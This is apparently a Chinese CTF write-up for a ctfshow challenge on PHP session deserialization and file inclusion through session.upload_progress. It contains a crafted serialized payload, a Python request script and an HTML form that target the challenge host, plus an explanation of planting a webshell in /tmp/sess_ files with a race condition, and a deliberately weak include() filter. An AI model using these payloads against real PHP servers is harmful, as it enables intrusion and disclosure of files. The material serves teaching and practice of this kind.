session 反序列化

原理详解


ctfshow 新手杯 剪刀石头布

这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

1.在线运行得到报文

html 复制代码
<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

2.接着上传文件,抓包改数据包,修改文件名为序列化串

php 复制代码
<?php
class Game{
    public $log;
    public function __construct(){
        $this->log = "/var/www/html/flag.php";
    }
}
$a=new Game();
echo serialize($a);
#|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>

或者用python 发包

python 复制代码
import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
    'PHPSESSID':'succ3'
}
data = {
    'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
    'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)


利用session.upload_progress进行文件包含和反序列化渗透

PHP_SESSION_UPLOAD_PROGRESS进行文件包含 (详细步骤条件竞争)

1在php5.4之后php.ini开始有几个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = "upload_progress_"

4.session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

5.session.use_strict_mode=off

python 复制代码
> 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
> linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
> 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
> 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
> 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完

2.过滤了. 我们必须包含无后缀文件
利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session

控制文件名字/tmp/sess_aaa

php 复制代码
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
相关推荐
Star abuse1 小时前
Python数据分析课程实验-1
开发语言·python·信息可视化
SimpleLearingAI1 小时前
Python协程入门指北
开发语言·python
星星火柴9361 小时前
工 厂 模 式
开发语言·c++·设计模式
CD-i2 小时前
Java中修饰类的关键字
java·开发语言
南玖yy2 小时前
内存安全的攻防战:工具链与语言特性的协同突围
开发语言·c++·人工智能·安全·c++23·c++基础语法
muyouking112 小时前
Rust多线程性能优化:打破Arc+锁的瓶颈,效率提升10倍
开发语言·性能优化·rust
沐知全栈开发2 小时前
Scala 循环
开发语言
o不ok!3 小时前
Spark-小练试刀
开发语言·前端·javascript
x_feng_x4 小时前
Java从入门到精通 - Java入门
java·开发语言
留思难4 小时前
Python生活手册-文件二进制:从快递柜到生鲜冷链的数据保鲜术
开发语言·python